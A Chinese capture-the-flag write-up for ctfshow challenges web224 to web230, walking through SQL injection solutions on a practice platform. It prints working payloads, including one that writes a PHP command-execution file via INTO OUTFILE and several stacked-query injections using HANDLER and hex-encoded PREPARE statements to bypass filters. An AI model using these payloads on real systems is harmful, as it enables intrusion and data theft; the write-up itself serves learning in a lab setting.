目录
1、web224
登录页面测了下没发现注入点
存在 robots.txt
访问 /pwdreset.php ,是管理员密码重置的页面
直接重置密码,这里以 123456 为例
使用 admin/123456 登录
来到一个文件生成界面
对文件大小有限制
文件类型也有限制
看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。新建一个 txt 文件,写入如下内容:
C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/myon.php';--+
C64File 是与 Commodore 64 相关的文件类型,之后闭合,写入 sql 语句,其中
3c3f3d60746163202f662a603f3e 为我们想要执行的命令的十六进制形式。
访问写入的 myon.php
拿到 flag:ctfshow{ddec6f4e-f82b-4c75-92df-d0c646cf011a}
试了下其他类型的文件也可以传
但是写入有问题
2、web225
堆叠提升开始
过滤掉了很多东西
查表名:
/api/index.php?username=0';show tables;#
存在一个名为 ctfshow_flagasa 的表
查这个表下的列名:
/api/index.php?username=0';show columns from ctfshow_flagasa;#
得到 flag 的字段名为 flagas
一般我们可以通过重命名表和更改字段名来实现查询 flag,这里原本是:
select id,username,pass from ctfshow_user where username = '{$username}';
我们可以改为:
select id,flag,pass from ctfshow_flagasa where flag = '{$username}';
也就是将表名 ctfshow_user 改为了 ctfshow_flagasa,将字段名 username 改为 flag,之后我们就可以使用万能密码 1' or 1=1# 查出 flag。
使用 RENAME TABLE 语句来重命名一个表:
RENAME TABLE old_table_name TO new_table_name;
使用 ALTER TABLE 配合 CHANGE 语句来重命名列名:
ALTER TABLE table_name CHANGE old_column_name new_column_name datatype;
但是由于这道题过滤了 alter,因此这种方法不行。
这个题非常像我之前在攻防世界刷过的一道题:
supersqli(SQL注入流程及常用SQL语句)-CSDN博客https://myon6.blog.csdn.net/article/details/129805447
不过那道题没有过滤 alter,当然我们还有其他的方法,采用 handler 语句:
handler 是 mysql 的专用语句,没有包含到 SQL 标准中,但它每次只能查询 1 次记录,而 select 可以根据需要返回多条查询结果。
hander `表名` open; // 打开一个表
handler`表名`read frist; // 查询第一个数据
handler`表名`read next; // 查询之后的数据直到最后一个数据返回空
先打开表 ctfshow_flagasa,再查询它,payload:
0';handler`ctfshow_flagasa` open;handler`ctfshow_flagasa`read next;#
拿到 flag:ctfshow{28ec601d-4120-405d-b5da-3809145c24bb}
或者这样用:
0';handler`ctfshow_flagasa` open as`a`;handler`a`read next;#
这里用 first 和 next 都是可以的,因为就一个数据。
还可以采用预处理的方法:prepare + execute
PREPARE 语句准备好一条 SQL 语句,并分配给这条 SQL 语句一个名字供之后调用,通过EXECUTE 命令执行,最后使用 DEALLOCATE PREPARE 命令释放。
payload:
0';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#
3、web226
新增过滤 show 和括号,采用十六进制绕过。
查表名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
拿到表名 ctfsh_ow_flagas,查列名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c6167617327;execute myon;#
查字段:
0';prepare myon from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;execute myon;#
拿到 flag:ctfshow{808156a6-3460-4610-a716-2aa5f7f521fb}
4、web227
过滤内容对我们上一题的 payload 无影响,先查表名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
发现只有一个名为 ctfshow_user 的表
看了 wp 这道题需要查看存储过程和函数的状态,通过查询 information_schema.ROUTINES 表来查看存储过程和函数的详细信息,直接查这个表下的所有东西:
0';prepare myon from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute myon;#
看到 flag:ctfshow{f2b7398c-eccb-45b0-bf40-c3b2f4767760}
当然,如果知道存储过程或函数的名称,可以查询其详细信息,包括定义:
第一步我们可以得到函数名为 getFlag
具体指定函数名再进行查询:
select * from information_schema.routines where routine_name='getFlag'
其中 routine_name 用于指定存储过程或函数的名称
其中 routine_name 用于指定存储过程或函数的名称
如果存储过程和存储函数名称相同,则需要再指定 routine_type 字段表明查询的是哪种类型的存储程序:
比如指定查询的类型是函数
select * from information_schema.routines where routine_name='getFlag' and routine_type='function'
查出来没有,看来这里的 getFlag 并不是函数类型
那么我们指定进程类型看看呢:
select * from information_schema.routines where routine_name='getFlag' and routine_type='procedure'
还真是进程
5、web228
还是采用预处理,查表名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
查列名:
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfsh_ow_flagasaa'
0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c61676173616127;execute myon;#
查字段:
0';prepare myon from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;execute myon;#
select flagasba from ctfsh_ow_flagasaa
拿到 flag:ctfshow{0710b947-f29c-434f-94b5-59628ea645af}
6、web229
查表名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
flag
查列名:
flagasba
查字段:
0';prepare myon from 0x73656c65637420666c6167617362612066726f6d20666c6167;execute myon;#
拿到 flag:ctfshow{24939b59-7383-48b6-af76-11048fe77fe2}
7、web230
查表名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
flagaabbx
查列名:
0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d27666c6167616162627827;execute myon;#
flagasbas
查字段:
0';prepare myon from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278;execute myon;#
拿到 flag:ctfshow{5d7f5613-76bb-41bd-8bd3-d12b63ae7d4b}
标签:web,execute,name,prepare,flag,ctfshow,注入,myon From: https://blog.csdn.net/Myon5/article/details/141323202